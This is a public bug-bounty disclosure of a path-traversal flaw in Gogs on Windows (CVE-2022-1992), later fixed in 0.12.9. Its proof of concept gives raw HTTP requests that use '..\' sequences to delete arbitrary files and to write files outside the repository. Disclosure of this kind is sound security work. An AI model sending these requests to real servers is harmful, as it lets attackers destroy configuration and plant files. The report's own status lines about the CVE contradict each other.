# Path traversal leads to arbitrary file deletions and file writes in gogs/gogs

0

Valid Reported on Jun 2nd 2022

## Description

Deploy and run gogs in Windows.

## Proof of Concept

1.Create a repository in Gogs, upload a file named `test` to the repository on the web page, The content of the file is as follows:

```
1111
```

2.The attacker can remove any files.
http request:

```
POST /admin1/repo6/_delete/master/..\..\..\../README.md HTTP/1.1 HTTP/1.1
Host: 192.168.1.59:3000
Content-Length: 130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=858a2bd132c75d53
Connection: close

_csrf=PuAr2ZVY2NpoEOR1se-J81LVboM6MTY1NDAwODAzNDgzNDEwOTAwM
```

The attacker can set **tree_path** tree_path= `..\..\files.txt` to upload any files into any directory.

http request:

```
POST /admin1/repo6/_edit/master/test HTTP/1.1
Host: 192.168.1.59:3000
Content-Length: 722
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN; i_like_gogs=858a2bd132c75d53
Connection: close

_csrf=CQ7KgJoDP2oI1xKrj0bx1GtYiQ46MTY1NDAwNzk1MjA5ODk5MTQwMA&last_commit=11
```

## Impact

1.Delete arbitrary files, such as `gogs/custom/conf/app.ini`
2.Write the files to any path.

CVE
CVE-2022-1992
(Published)

Vulnerability Type
CWE-22: Path Traversal

Severity
Critical (10)

Registry
Golang

Affected Version
<=0.12.8

Visibility
Public

Status
Fixed

Found by

1135
@1135
legend

This report was seen 638 times.

We are processing your report and will contact the **gogs** team within 24 hours. 6 months ago

A **gogs/gogs** maintainer has acknowledged this report 6 months ago

**Joe Chen** validated this vulnerability 6 months ago

**1135** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

**Joe Chen** 6 months ago Maintainer

Poor Windows...

We have sent a fix follow up to the **gogs** team. We will try again in 7 days. 6 months ago

**Joe Chen** marked this as fixed in **0.12.9** with commit **2ca014** 6 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Sign in to join this conversation